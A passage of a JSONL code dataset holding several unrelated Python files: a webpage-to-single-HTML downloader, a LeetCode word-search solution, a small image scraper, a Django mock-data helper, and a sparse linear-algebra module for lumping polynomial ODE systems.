6.2; Win64; x64; Trident/6.0)'\r\n }\r\n try:\r\n response=requests.get(full_path, headers=headers, verify=verify)\r\n if verbose:\r\n log('[ GET ] %d - %s' % (response.status_code, response.url))\r\n if not ignore_error and (response.status_code >= 400 or response.status_code < 200):\r\n content = ''\r\n elif response.headers.get('content-type', '').lower().startswith('text/'):\r\n content = response.text\r\n else:\r\n content = response.content\r\n if usecache:\r\n webpage2html_cache[response.url] = content\r\n return content, {'url': response.url, 'content-type': response.headers.get('content-type')}\r\n except Exception as ex:\r\n if verbose:\r\n log('[ WARN ] %s - %s %s' % ('???', full_path, ex), 'yellow')\r\n return '', None\r\n elif os.path.exists(index):\r\n if relpath:\r\n relpath = relpath.split('#')[0].split('?')[0]\r\n if os.path.exists(relpath):\r\n full_path = relpath\r\n else:\r\n full_path = os.path.normpath(os.path.join(os.path.dirname(index), relpath))\r\n try:\r\n ret = open(full_path, 'rb').read()\r\n if verbose:\r\n log('[ LOCAL ] found - %s' % full_path)\r\n return ret, None\r\n except IOError as err:\r\n if verbose:\r\n log('[ WARN ] file not found - %s %s' % (full_path, str(err)), 'yellow')\r\n return '', None\r\n else:\r\n try:\r\n ret = open(index, 'rb').read()\r\n if verbose:\r\n log('[ LOCAL ] found - %s' % index)\r\n return ret, None\r\n except IOError as err:\r\n if verbose:\r\n log('[ WARN ] file not found - %s %s' % (index, str(err)), 'yellow')\r\n return '', None\r\n else:\r\n if verbose:\r\n log('[ ERROR ] invalid index - %s' % index, 'red')\r\n return '', None\r\n\r\n\r\ndef data_to_base64(index, src, verbose=True):\r\n sp = urlparse(src).path.lower()\r\n if src.strip().startswith('data:'):\r\n return src\r\n if sp.endswith('.png'):\r\n fmt = 'image/png'\r\n elif sp.endswith('.gif'):\r\n fmt = 'image/gif'\r\n elif sp.endswith('.ico'):\r\n fmt = 'image/x-icon'\r\n elif sp.endswith('.jpg') or sp.endswith('.jpeg'):\r\n fmt = 'image/jpg'\r\n elif sp.endswith('.svg'):\r\n fmt = 'image/svg+xml'\r\n elif sp.endswith('.ttf'):\r\n fmt = 'application/x-font-ttf'\r\n elif sp.endswith('.otf'):\r\n fmt = 'application/x-font-opentype'\r\n elif sp.endswith('.woff'):\r\n fmt = 'application/font-woff'\r\n elif sp.endswith('.woff2'):\r\n fmt = 'application/font-woff2'\r\n elif sp.endswith('.eot'):\r\n fmt = 'application/vnd.ms-fontobject'\r\n elif sp.endswith('.sfnt'):\r\n fmt = 'application/font-sfnt'\r\n elif sp.endswith('.css') or sp.endswith('.less'):\r\n fmt = 'text/css'\r\n elif sp.endswith('.js'):\r\n fmt = 'application/javascript'\r\n else:\r\n # what if it's not a valid font type? may not matter\r\n fmt = 'image/png'\r\n data, extra_data = get(index, src, verbose=verbose)\r\n if extra_data and extra_data.get('content-type'):\r\n fmt = extra_data.get('content-type').replace(' ', '')\r\n if data:\r\n if sys.version > '3':\r\n if type(data) is bytes:\r\n return ('data:%s;base64,' % fmt) + bytes.decode(base64.b64encode(data))\r\n else:\r\n return ('data:%s;base64,' % fmt) + bytes.decode(base64.b64encode(str.encode(data)))\r\n else:\r\n reload(sys)\r\n sys.setdefaultencoding('utf-8')\r\n return ('data:%s;base64,' % fmt) + base64.b64encode(data)\r\n else:\r\n return absurl(index, src)\r\n\r\n\r\ncss_encoding_re = re.compile(r'''@charset\\s+[\"']([-_a-zA-Z0-9]+)[\"']\\;''', re.I)\r\n\r\ndef handle_css_content(index, css, verbose=True):\r\n if not css:\r\n return css\r\n if not isinstance(css, str):\r\n if sys.version > '3':\r\n css = bytes.decode(css)\r\n mo = css_encoding_re.search(css)\r\n else:\r\n mo = css_encoding_re.search(css)\r\n if mo:\r\n try:\r\n css = css.decode(mo.group(1))\r\n except:\r\n log('[ WARN ] failed to convert css to encoding %s' % mo.group(1), 'yellow')\r\n reg = re.compile(r'url\\s*\\((.+?)\\)')\r\n\r\n def repl(matchobj):\r\n src = matchobj.group(1).strip(' \\'\"')\r\n return 'url(' + data_to_base64(index, src, verbose=verbose) + ')'\r\n\r\n css = reg.sub(repl, css)\r\n return css\r\n\r\ndef generate(index, verbose=True, comment=True, keep_script=False, prettify=False, full_url=True, verify=True,\r\n errorpage=False):\r\n html_doc, extra_data = get(index, verbose=verbose, verify=verify, ignore_error=errorpage)\r\n\r\n if extra_data and extra_data.get('url'):\r\n index = extra_data['url']\r\n soup = BeautifulSoup(html_doc, 'lxml')\r\n soup=customheader.addheader(soup)\r\n soup_title = soup.title.string if soup.title else ''\r\n\r\n for link in soup('link'):\r\n if link.get('href'):\r\n if 'mask-icon' in (link.get('rel') or []) or 'icon' in (link.get('rel') or []) or 'apple-touch-icon' in (\r\n link.get('rel') or []) or 'apple-touch-icon-precomposed' in (link.get('rel') or []):\r\n link['data-href'] = link['href']\r\n\r\n link['href'] = data_to_base64(index, link['href'], verbose=verbose)\r\n elif link.get('type') == 'text/css' or link['href'].lower().endswith('.css') or 'stylesheet' in (\r\n link.get('rel') or []):\r\n new_type = 'text/css' if not link.get('type') else link['type']\r\n css = soup.new_tag('style', type=new_type)\r\n css['data-href'] = link['href']\r\n for attr in link.attrs:\r\n if attr in ['href']:\r\n continue\r\n css[attr] = link[attr]\r\n css_data, _ = get(index, relpath=link['href'], verbose=verbose)\r\n new_css_content = handle_css_content(absurl(index, link['href']), css_data, verbose=verbose)\r\n if False: \r\n link['href'] = 'data:text/css;base64,' + base64.b64encode(new_css_content)\r\n else:\r\n css.string = new_css_content\r\n link.replace_with(css)\r\n elif full_url:\r\n link['data-href'] = link['href']\r\n link['href'] = absurl(index, link['href'])\r\n \r\n\r\n\r\n for js in soup('script'):\r\n jstemp=js.get('src')\r\n jstemp=str(jstemp)\r\n if not keep_script and jstemp !=\"custom_opengenus_offline_header_js.js\":\r\n js.replace_with('')\r\n continue\r\n if not js.get('src'):\r\n continue\r\n new_type = 'text/javascript' if not js.has_attr('type') or not js['type'] else js['type']\r\n code = soup.new_tag('script', type=new_type)\r\n code['data-src'] = js['src']\r\n js_str, _ = get(index, relpath=js['src'], verbose=verbose)\r\n try:\r\n if js_str.find('') > -1:\r\n code['src'] = 'data:text/javascript;base64,' + base64.b64encode(js_str)\r\n elif js_str.find(']]>') < 0:\r\n code.string = ''\r\n else:\r\n code.string = js_str.encode('utf-8')\r\n except:\r\n if verbose:\r\n log(repr(js_str))\r\n raise\r\n js.replace_with(code)\r\n for img in soup('img'):\r\n if not img.get('src'):\r\n continue\r\n img['data-src'] = img['src']\r\n img['src'] = data_to_base64(index, img['src'], verbose=verbose)\r\n if img.get('srcset'):\r\n img['data-srcset'] = img['srcset']\r\n del img['srcset']\r\n if verbose:\r\n log('[ WARN ] srcset found in img tag. Attribute will be cleared. File src => %s' % (img['data-src']),\r\n 'yellow')\r\n\r\n def check_alt(attr):\r\n if img.has_attr(attr) and img[attr].startswith('this.src='):\r\n # we do not handle this situation yet, just warn the user\r\n if verbose:\r\n log('[ WARN ] %s found in img tag and unhandled, which may break page' % (attr), 'yellow')\r\n\r\n check_alt('onerror')\r\n check_alt('onmouseover')\r\n check_alt('onmouseout')\r\n for tag in soup(True):\r\n if full_url and tag.name == 'a' and tag.has_attr('href') and not tag['href'].startswith('#'):\r\n tag['data-href'] = tag['href']\r\n tag['href'] = absurl(index, tag['href'])\r\n if tag.has_attr('style'):\r\n if tag['style']:\r\n tag['style'] = handle_css_content(index, tag['style'], verbose=verbose)\r\n elif tag.name == 'link' and tag.has_attr('type') and tag['type'] == 'text/css':\r\n if tag.string:\r\n tag.string = handle_css_content(index, tag.string, verbose=verbose)\r\n elif tag.name == 'style':\r\n if tag.string:\r\n tag.string = handle_css_content(index, tag.string, verbose=verbose)\r\n \r\n return soup\r\ndef core(url2dw):\r\n url2dw.strip()\r\n rs = generate(url2dw)\r\n return rs\r\n","sub_path":"download_webpage.py","file_name":"download_webpage.py","file_ext":"py","file_size_in_byte":12396,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"481025888","text":"class Solution:\n\n #time exceeded\n def exist(self, board, word):\n \"\"\"\n :type board: List[List[str]]\n :type word: str\n :rtype: bool\n \"\"\"\n res = []\n self.dfs(board, word, [], 0, res)\n return True if res else False\n\n def dfs(self, board, word, path, index, res):\n if index == len(word):\n if len(path) == len(word):\n res.append(path)\n for i in range(index, len(word)):\n for point in self.position(board, word[i]):\n if not path or (self.isNeighbor(point, path[-1]) and point not in path):\n self.dfs(board, word, path + [point], i + 1, res)\n\n def position(self, board, character):\n res = []\n for i in range(len(board)):\n for j in range(len(board[0])):\n if board[i][j] == character:\n res.append([i, j])\n return res\n\n def isNeighbor(self, pointA, pointB):\n if abs(pointA[0] - pointB[0]) == 1 and pointA[1] - pointB[1] == 0:\n return True\n elif abs(pointA[1] - pointB[1]) == 1 and pointA[0] - pointB[0] == 0:\n return True \n else:\n return False\n\n\n #solution2\n def existV2(self, board, word):\n \"\"\"\n :type board: List[List[str]]\n :type word: str\n :rtype: bool\n \"\"\"\n\n def dfs(i, j, index):\n if index == len(word):\n return True\n if i < 0 or j < 0 or i >= len(board) or j >= len(board[0]) or board[i][j] != word[index]:\n return False\n tmp = board[i][j]\n board[i][j] = '#'\n res = dfs(i + 1, j, index + 1) or dfs(i - 1, j, index + 1) or dfs(i, j - 1, index + 1)\\\n or dfs(i, j + 1, index + 1)\n board[i][j] = tmp\n return res\n\n for i in range(len(board)):\n for j in range(len(board[0])):\n if dfs(i, j, 0) == True:\n return True\n return False\n\nif __name__ == '__main__':\n board = [\n ['A','B','C','E'],\n ['E','F','C','S'],\n ['A','D','E','E']\n ]\n # board = [\n # ['a', 'b'],\n # ['c', 'd']\n # ]\n\n word = \"ABCCE\"\n\n print(\"solution1\")\n print(Solution().exist(board, word))\n print(\"solution2\")\n print(Solution().existV2(board, word))","sub_path":"79WordSearch/79WordSearch.py","file_name":"79WordSearch.py","file_ext":"py","file_size_in_byte":2423,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"448506845","text":"import requests\nfrom bs4 import BeautifulSoup\nimport os\n# 请求地址\nurl = 'http://www.xiaohuar.com/list-1-1.html'\nhtml = requests.get(url).content\n# BeautifulSoup 实例化\nsoup = BeautifulSoup(html,'html.parser')\njpg_data = soup.find_all('img',width=\"210\")\nfor i in jpg_data:\n data = i['src']\n name = i['alt']\n# 判断URL是否完整\n if \"https://www.dxsabc.com/\" not in data:\n data = 'http://www.xiaohuar.com'+ data","sub_path":"Python/爬虫/BeautifulSoup.py","file_name":"BeautifulSoup.py","file_ext":"py","file_size_in_byte":437,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"560349728","text":"from events.models import Event \n\nfrom datetime import date\nimport random\n\ndef get_random_date():\n\tstart_date = date.today().replace(day=1, month=1).toordinal()\n\tend_date = date.today().toordinal()\n\treturn date.fromordinal(random.randint(start_date, end_date))\n\nclass EventsMockDataHelper:\n\n\t@staticmethod\n\tdef get_event(wedding, title, start_datetime=None, description=None, address=None):\n\n\t\tif description is None:\n\t\t\tdescription = \"lorum ipsum\"\n\n\t\tif address is None:\n\t\t\taddress = \"Some street, somewhere\"\n\n\n\t\tif start_datetime is None:\n\t\t\tstart_datetime = get_random_date()\n\n\n\t\tdata = {\n\t\t\t\"wedding\": wedding,\n\t\t\t\"title\": title,\n\t\t\t\"start_datetime\": start_datetime, \n\t\t\t\"description\": description,\n\t\t\t\"address\": address,\n\t\t}\n\n\t\tEvent.objects.create(**data)","sub_path":"events/helpers.py","file_name":"helpers.py","file_ext":"py","file_size_in_byte":761,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"43005300","text":"from bisect import bisect\nimport copy\nimport logging\nimport math\n\nimport sympy\nfrom sympy import vring, GF, QQ, mod_inverse, gcd, nextprime, sympify\nfrom sympy.ntheory.modular import crt, isprime\n\nfrom sparse_polynomial import SparsePolynomial\n\n#------------------------------------------------------------------------------\n\n# the constant responsible for switching to the modular algorithm\n\nTOO_BIG_LENGTH = 10000\n\nclass ExpressionSwell(Exception):\n pass\n\n#------------------------------------------------------------------------------\n\ndef rational_reconstruction_sage(a, m):\n \"\"\"\n Rational number reconstruction implementation borrowed from Sage\n Input\n a and m are integers\n Output\n a \"simple\" rational number that is congruent a modulo m\n \"\"\"\n a %= m\n if a == 0 or m == 0:\n return QQ(0, 1)\n if m < 0:\n m = -m\n if a < 0:\n a = m - a\n if a == 1:\n return QQ(1, 1)\n u = m\n v = a\n bnd = math.sqrt(m / 2)\n U = (1, 0, u)\n V = (0, 1, v)\n while abs(V[2]) >= bnd:\n q = U[2] // V[2]\n T = (U[0] - q * V[0], U[1] - q * V[1], U[2] - q * V[2])\n U = V\n V = T\n x = abs(V[1])\n y = V[2]\n if V[1] < 0:\n y *= -1\n if x <= bnd and gcd(x, y) == 1:\n return QQ(y, x)\n raise ValueError(f\"Rational reconstruction of {a} (mod {m}) does not exist.\")\n\n#------------------------------------------------------------------------------\n\nclass SparseVector(object):\n \"\"\"\n A class for sparce vectors. Contains the following fields:\n dim - the dimension of the ambient space\n nonzero - sorted list of the indiced of the nonzero coordinates\n data - dictionary containing nonzero coordinates in the form index_of_the_coordinate : value\n field - the field of the entries (of type sympy.polys.domains.domain.Domain)\n \"\"\"\n def __init__(self, dim, field=QQ):\n self._dim = dim\n self._data = dict()\n self._nonzero = []\n self._field = field\n\n @property\n def dim(self):\n return self._dim\n\n @property\n def field(self):\n return self._field\n\n def nonzero_iter(self):\n return iter(self._nonzero)\n\n def digits(self):\n \"\"\"\n Only over Q: the length of the representation of the longest coordinate\n \"\"\"\n if not self._nonzero:\n return 0\n return max(len(str(c)) for c in self._data.values())\n\n #--------------------------------------------------------------------------\n\n def reduce(self, coef, vect):\n \"\"\"\n self = self + c * v\n \"\"\"\n if not coef:\n return\n\n new_nonzero = []\n left, right = 0, 0\n while (left < len(self._nonzero) or right < len(vect._nonzero)):\n if right == len(vect._nonzero):\n new_nonzero.extend(self._nonzero[left:])\n left = len(self._nonzero)\n elif left == len(self._nonzero):\n new_nonzero.extend(vect._nonzero[right:])\n for i in range(right, len(vect._nonzero)):\n self._data[vect._nonzero[i]] = coef * vect._data[vect._nonzero[i]]\n right = len(vect._nonzero)\n else:\n if self._nonzero[left] == vect._nonzero[right]:\n result = self._data[self._nonzero[left]] + coef * vect._data[vect._nonzero[right]]\n if result:\n self._data[self._nonzero[left]] = result\n new_nonzero.append(self._nonzero[left])\n else:\n del self._data[self._nonzero[left]]\n left += 1\n right += 1\n elif self._nonzero[left] < vect._nonzero[right]:\n new_nonzero.append(self._nonzero[left])\n left += 1\n else:\n new_nonzero.append(vect._nonzero[right])\n self._data[vect._nonzero[right]] = coef * vect._data[vect._nonzero[right]]\n right += 1\n self._nonzero = new_nonzero\n\n #--------------------------------------------------------------------------\n\n def scale(self, coef):\n if not coef:\n self._nonzero = []\n self._data = dict()\n else:\n for i in self._nonzero:\n self._data[i] = self._data[i] * coef\n\n #--------------------------------------------------------------------------\n\n def __getitem__(self, i):\n return self._data.get(i, 0)\n\n def __setitem__(self, i, value):\n if bisect(self._nonzero, i) == 0 or self._nonzero[bisect(self._nonzero, i) - 1] != i:\n self._nonzero.insert(bisect(self._nonzero, i), i)\n self._data[i] = value\n\n #--------------------------------------------------------------------------\n\n def inner_product(self, rhs):\n if rhs.nonzero_count() < self.nonzero_count():\n return rhs.inner_product(self)\n result = self.field(0)\n for i in self._nonzero:\n if i in rhs._data:\n result += self._data[i] * rhs._data[i]\n return result\n\n #--------------------------------------------------------------------------\n\n def __append__(self, i, value):\n \"\"\"\n makes self[i] = value *given that* all the coordinates with the index r and more were zero\n \"\"\"\n self._nonzero.append(i)\n self._data[i] = value\n\n #--------------------------------------------------------------------------\n\n def apply_matrix(self, matr):\n result = SparseVector(self.dim, self.field)\n for i in matr.nonzero_iter():\n prod = self.inner_product(matr.row(i))\n if prod:\n result.__append__(i, prod)\n return result\n\n #--------------------------------------------------------------------------\n\n def is_zero(self):\n return len(self._nonzero) == 0\n\n #--------------------------------------------------------------------------\n\n def first_nonzero(self):\n if self._nonzero:\n return self._nonzero[0]\n return -1\n\n #--------------------------------------------------------------------------\n\n def to_list(self):\n result = [0] * self.dim\n for i in range(len(self._nonzero)):\n result[self._nonzero[i]] = self._data[self._nonzero[i]]\n return result\n\n #--------------------------------------------------------------------------\n\n def nonzero_count(self):\n return len(self._nonzero)\n\n #--------------------------------------------------------------------------\n\n def reduce_mod(self, modulus):\n \"\"\"\n Returns the reduction modulo modulus\n Defined only for field == QQ\n \"\"\"\n if self.field != QQ:\n raise ValueError(f\"Reducion can be done only for a vector over rationals but the field is {self.field}\")\n mod_field = GF(modulus)\n result = SparseVector(self.dim, mod_field)\n for i in self._nonzero:\n entry = self._data[i]\n if mod_field.convert(entry.denominator) == 0:\n raise ZeroDivisionError(f\"Division by zero while taking modulo {modulus}\")\n entry_mod = mod_field.convert(entry.numerator) / mod_field.convert(entry.denominator)\n if entry_mod:\n result.__append__(i, entry_mod)\n return result\n\n #--------------------------------------------------------------------------\n\n @classmethod\n def from_list(cls, entries_list, field):\n result = cls(len(entries_list), field)\n for i, num in enumerate(entries_list):\n to_insert = field.convert(num)\n if to_insert:\n result.__append__(i, to_insert)\n return result\n\n #--------------------------------------------------------------------------\n\n def rational_reconstruction(self):\n \"\"\"\n Input\n self\n Output\n a SparceVector over rationals with given reductions\n Works only over fields of the form GF(p), where p is a prime number\n \"\"\"\n if (not self.field.is_FiniteField) or (not isprime(self.field.characteristic())):\n raise ValueError(f\"Rational reconstruction is not available over {self.field}\")\n result = SparseVector(self.dim, QQ)\n for ind in self._nonzero:\n try:\n result.__append__(ind, rational_reconstruction_sage(self[ind].to_int(), self.field.characteristic()))\n except ValueError:\n logging.debug(\"Rational reconstruction problems: %d, %d\", self[ind], self.field.characteristic())\n return result\n\n#------------------------------------------------------------------------------\n\nclass SparseRowMatrix(object):\n \"\"\"\n A class for sparce matrices. Contains the following fields:\n dim - the dimension of the ambient space\n _nonzero - sorted list of the indiced of the nonzero rows\n _data - dictionary containing nonzero rows in the form index_of_the_row : SparseVector\n field - the field of entries (of type sympy.polys.domains.domain.Domain)\n \"\"\"\n def __init__(self, dim, field):\n self._dim = dim\n self._data = dict()\n self._nonzero = []\n self._field = field\n\n @property\n def dim(self):\n return self._dim\n\n @property\n def field(self):\n return self._field\n\n #--------------------------------------------------------------------------\n\n def nonzero_iter(self):\n return iter(self._nonzero)\n\n def nonzero_count(self):\n return sum([v.nonzero_count() for v in self._data.values()])\n\n #--------------------------------------------------------------------------\n\n def __setitem__(self, cell, value):\n i, j = cell\n if bisect(self._nonzero, i) == 0 or self._nonzero[bisect(self._nonzero, i) - 1] != i:\n self._nonzero.insert(bisect(self._nonzero, i), i)\n self._data[i] = SparseVector(self.dim, self.field)\n self._data[i][j] = value\n\n #--------------------------------------------------------------------------\n\n def __getitem__(self, cell):\n if not cell[0] in self._data:\n return self.field.convert(0)\n return self._data[cell[0]][cell[1]]\n\n #--------------------------------------------------------------------------\n\n def increment(self, i, j, extra):\n self[i, j] = self[i, j] + extra\n\n #--------------------------------------------------------------------------\n\n def row(self, i):\n if i in self._data:\n return self._data[i]\n return SparseVector(self.dim, self.field)\n\n #--------------------------------------------------------------------------\n\n def reduce_mod(self, modulus):\n \"\"\"\n Returns the reduction modulo modulus\n Works only if field == QQ\n \"\"\"\n if self.field != QQ:\n raise ValueError(f\"Reducion can be done only for a vector over rationals but the field is {self.field}\")\n result = SparseRowMatrix(self.dim, GF(modulus))\n for i in self._nonzero:\n row_reduced = self._data[i].reduce_mod(modulus)\n if not row_reduced.is_zero():\n result._nonzero.append(i)\n result._data[i] = row_reduced\n return result\n\n#------------------------------------------------------------------------------\n\nclass Subspace(object):\n \"\"\"\n Class representing a subspace. Contains\n - field\n - echelon_form - a dictionary of the form number : SparseVector such that\n the vectors form a basis of the subspace and constitute reduced\n row echelon form and the corresponding number for each vector is\n the index of the pivot Example (with dense vectors) : {0: [1, 0, 1], 1: [0, 1, 3]}\n \"\"\"\n\n def __init__(self, field):\n self._field = field\n self._echelon_form = dict()\n\n @property\n def field(self):\n return self._field\n\n def dim(self):\n return len(self._echelon_form)\n\n def digits(self):\n \"\"\"\n Only over Q: the maximal number of digits in the rational numbers used\n \"\"\"\n if not self._echelon_form:\n return 0\n return max([v.digits() for v in self._echelon_form.values()])\n\n #--------------------------------------------------------------------------\n\n def absorb_new_vector(self, new_vector):\n \"\"\"\n Input\n - new_vector - a SparseVector\n Output\n the index of the pivot of the new basis vecor if such emerges, -1 otherwise\n \"\"\"\n for piv, vect in self._echelon_form.items():\n if new_vector[piv]:\n new_vector.reduce(-new_vector[piv], vect)\n\n if new_vector.is_zero():\n return -1\n pivot = new_vector.first_nonzero()\n new_vector.scale(self.field.convert(1) / new_vector[pivot])\n for piv, vect in self._echelon_form.items():\n if vect[pivot]:\n self._echelon_form[piv].reduce(-vect[pivot], new_vector)\n\n self._echelon_form[pivot] = new_vector\n return pivot\n\n #--------------------------------------------------------------------------\n\n def apply_matrices_inplace(self, matrices, monitor_length=False):\n \"\"\"\n Input\n - matrices - a list of matrices (SparseMatrix)\n - monitor_length - if set True, the ExpressionSwell expception will be raised\n if there will be an intermediate result exceeding TOO_BIG_LENGTH (only over Q!)\n Output\n No output. The subspace is transformed to the smallest invariant subspace\n of the matrices containing the original one\n \"\"\"\n new_pivots = set(self._echelon_form.keys())\n\n while new_pivots:\n pivots_to_process = new_pivots.copy()\n new_pivots = set()\n for pivot in pivots_to_process:\n for m_index, matr in enumerate(matrices):\n if m_index % 100 == 0:\n logging.debug(\" Multiply by matrix %d\", m_index)\n m_index += 1\n prod = self._echelon_form[pivot].apply_matrix(matr)\n if not prod.is_zero():\n new_pivot = self.absorb_new_vector(prod)\n if new_pivot != -1:\n new_pivots.add(new_pivot)\n if monitor_length and self.digits() > TOO_BIG_LENGTH:\n raise ExpressionSwell\n\n #--------------------------------------------------------------------------\n\n def check_invariance(self, matrices):\n \"\"\"\n Input\n - matrices - a list of matrices (SparseMatrix)\n Output\n whether the vector space is invariant under the matrices\n \"\"\"\n for matr in matrices:\n for vec in self._echelon_form.values():\n prod = vec.apply_matrix(matr)\n if self.absorb_new_vector(prod) != -1:\n return False\n return True\n\n #--------------------------------------------------------------------------\n\n def check_inclusion(self, other):\n \"\"\"\n Input\n - other - a subspace of the same dimension\n Output\n whether other is contained in self\n \"\"\"\n for vec in other.basis():\n if self.absorb_new_vector(vec) != -1:\n return False\n return True\n\n #--------------------------------------------------------------------------\n\n def reduce_mod(self, modulus):\n \"\"\"\n Reduction modulo prime modulus.\n Works only for field == QQ\n \"\"\"\n if self.field != QQ:\n raise ValueError(f\"Reducion can be done only for a vector over rationals but the field is {self.field}\")\n result = Subspace(GF(modulus))\n for piv, vec in self._echelon_form.items():\n vec_red = vec.reduce_mod(modulus)\n if not vec_red.is_zero():\n result._echelon_form[piv] = vec_red\n return result\n\n #--------------------------------------------------------------------------\n\n def basis(self):\n return [self._echelon_form[piv] for piv in sorted(self._echelon_form.keys())]\n\n #--------------------------------------------------------------------------\n\n def parametrizing_coordinates(self):\n \"\"\"\n A list of self.dim coordiantes such that the projection onto these coordinates is surjective\n \"\"\"\n return sorted(self._echelon_form.keys())\n\n #--------------------------------------------------------------------------\n\n def perform_change_of_variables(self, polys, new_vars_name='y'):\n \"\"\"\n Restrict a polynomial system of ODEs with the rhs given by \n polys (SparsePolynomial) to the subspace\n new_vars_name (optional) - the name for variables in the lumped polynomials\n \"\"\"\n old_vars = polys[0].gens\n domain = polys[0].domain\n new_vars = [new_vars_name + str(i) for i in range(self.dim())]\n pivots = set(self.parametrizing_coordinates())\n lpivots = sorted(pivots)\n basis = self.basis()\n\n # plugging all nonpivot variables with zeroes\n logging.debug(\"Plugging zero to nonpivot coordinates\")\n shrinked_polys = []\n for p in polys:\n filtered_dict = dict()\n for monom, coef in p.dataiter():\n new_monom = []\n skip = False\n for var, exp in monom:\n if var not in pivots:\n skip = True\n break\n else:\n new_monom.append((lpivots.index(var), exp))\n if not skip:\n new_monom = tuple(new_monom)\n filtered_dict[new_monom] = coef\n\n shrinked_polys.append(SparsePolynomial(new_vars, domain, filtered_dict))\n \n logging.debug(\"Constructing new polys\")\n new_polys = [SparsePolynomial(new_vars, domain) for _ in range(self.dim())]\n for i, vec in enumerate(basis):\n logging.debug(f\" Polynomial number {i}\")\n for j in vec.nonzero_iter():\n # ordering is important due to the implementation of\n # multiplication for SparsePolynomial\n new_polys[i] += shrinked_polys[j] * vec._data[j]\n \n return new_polys\n\n #--------------------------------------------------------------------------\n\n def rational_reconstruction(self):\n \"\"\"\n Input\n self\n Output\n a subspace with this set of reductions modulo prime\n Works only for fields of the form GF(p) (p - prime)\n \"\"\"\n if (not self.field.is_FiniteField) or (not isprime(self.field.characteristic())):\n raise ValueError(f\"Rational reconstruction is not available over {self.field}\")\n \n result = Subspace(QQ)\n for pivot in self._echelon_form.keys():\n result._echelon_form[pivot] = self._echelon_form[pivot].rational_reconstruction()\n return result\n\n#------------------------------------------------------------------------------\n\ndef find_smallest_common_subspace(matrices, vectors_to_include):\n \"\"\"\n Input\n - matrices - an iterator for matrices (SparseMatrix)\n - vectors_to_include - a list of vectors (SparseVector)\n Output\n a smallest invariant subspace for the matrices containing the vectors\n \"\"\"\n field = vectors_to_include[0].field\n original_subspace = Subspace(field)\n for vec in vectors_to_include:\n original_subspace.absorb_new_vector(vec)\n\n if field != QQ:\n original_subspace.apply_matrices_inplace(matrices)\n return original_subspace\n\n space_copy = copy.deepcopy(original_subspace)\n try:\n original_subspace.apply_matrices_inplace(matrices, monitor_length=True)\n return original_subspace\n except ExpressionSwell:\n original_subspace = space_copy\n logging.debug(\"Rationals are getting too long, switching to the modular algorithm\")\n modulus = 2**31 - 1\n primes_used = 1\n while True:\n logging.debug(\"Working modulo: %d\", modulus)\n try:\n matrices_reduced = [matr.reduce_mod(modulus) for matr in matrices]\n subspace_reduced = original_subspace.reduce_mod(modulus)\n subspace_reduced.apply_matrices_inplace(matrices_reduced)\n reconstruction = subspace_reduced.rational_reconstruction()\n if reconstruction.check_invariance(matrices):\n if reconstruction.check_inclusion(original_subspace):\n logging.debug(\"We used %d primes\", primes_used)\n return reconstruction\n else:\n logging.debug(\"Didn't pass the inclusion check\")\n else:\n logging.debug(\"Didn't pass the invariance check\")\n except ValueError:\n pass\n except ZeroDivisionError:\n logging.debug(f\"{modulus} was a bad prime for reduction, going for the next one\")\n modulus = nextprime(modulus**2)\n primes_used += 1\n \n#------------------------------------------------------------------------------\n\ndef construct_matrices(polys):\n \"\"\"\n Constructs matrices J_1^T, ..., J_N^T (see Step (2) of Algorithm 1 in the paper)\n Input\n - polys - the right-hand side of the system of ODEs (f_1, ..., f_n)\n represented by SparsePolynomial\n Output\n a list of matrices (SparseMatrix) J_1^T, ..., J_N^T\n \"\"\"\n logging.debug(\"Starting constructing matrices\")\n\n variables = polys[0].gens\n field = polys[0].domain\n jacobians = dict()\n for p_ind, poly in enumerate(polys):\n logging.debug(\"Processing polynomial number %d\", p_ind)\n for monom, coef in poly.dataiter():\n for i in range(len(monom)):\n var, exp = monom[i]\n if exp == 1:\n m_der = tuple(list(monom[:i]) + list(monom[(i + 1):]))\n else:\n m_der = tuple(list(monom[:i]) + [(var, exp - 1)] + list(monom[(i + 1):]))\n entry = field.convert(coef) * exp\n if m_der not in jacobians:\n jacobians[m_der] = SparseRowMatrix(len(variables), field)\n jacobians[m_der].increment(var, p_ind, entry)\n\n result = jacobians.values()\n return result\n\n#------------------------------------------------------------------------------\n\ndef do_lumping_internal(polys, observable, new_vars_name='y', print_system=True, print_reduction=False, ic=None):\n \"\"\"\n Performs a lumping of a polynomial ODE system represented by SparsePolynomial\n Input\n - polys - the right-hand side of the system\n - observable - a nonempty list of linear forms in state variables\n that must be kept nonlumped\n - new_vars_name (optional) - the name for variables in the lumped polynomials\n - verbose (optional) - whether to report the result on the screen or not\n Output\n a tuple (the right-hand side of an aggregated system, new_variables)\n \"\"\"\n\n logging.basicConfig(\n format='%(asctime)s %(levelname)-8s %(message)s',\n level=logging.DEBUG,\n datefmt='%Y-%m-%d %H:%M:%S',\n filename=\"lumper_debug.log\"\n )\n logging.debug(\"Starting aggregation\")\n\n # Reduce the problem to the common invariant subspace problem\n vars_old = polys[0].gens\n field = polys[0].domain\n matrices = construct_matrices(polys)\n\n # Find a lumping\n vectors_to_include = []\n for linear_form in observable:\n vec = SparseVector.from_list(linear_form.linear_part_as_vec(), field)\n vectors_to_include.append(vec)\n lumping_subspace = find_smallest_common_subspace(matrices, vectors_to_include)\n\n lumped_polys = lumping_subspace.perform_change_of_variables(polys, new_vars_name)\n\n new_ic = None\n if ic is not None:\n eval_point = [ic.get(v, 0) for v in polys[0].gens]\n new_ic = []\n for vect in lumping_subspace.basis():\n new_ic.append(sum([p[0] * p[1] for p in zip(eval_point, vect.to_list())]))\n\n\n # Nice printing\n vars_new = lumped_polys[0].gens\n if print_system:\n print(\"Original system:\")\n for i in range(len(polys)):\n print(f\"{vars_old[i]}' = {polys[i]}\")\n print(\"Outputs to fix:\")\n print(\", \".join(map(str, observable)))\n if print_reduction:\n print(\"New variables:\")\n for i in range(lumping_subspace.dim()):\n new_var = SparsePolynomial(vars_old, field)\n for j in range(len(vars_old)):\n if lumping_subspace.basis()[i][j] != 0:\n new_var += SparsePolynomial(vars_old, field, {((j, 1),) : lumping_subspace.basis()[i][j]})\n print(f\"{vars_new[i]} = {new_var}\")\n if new_ic is not None:\n print(\"New initial conditions:\")\n for v, val in zip(vars_new, new_ic):\n print(f\"{v}(0) = 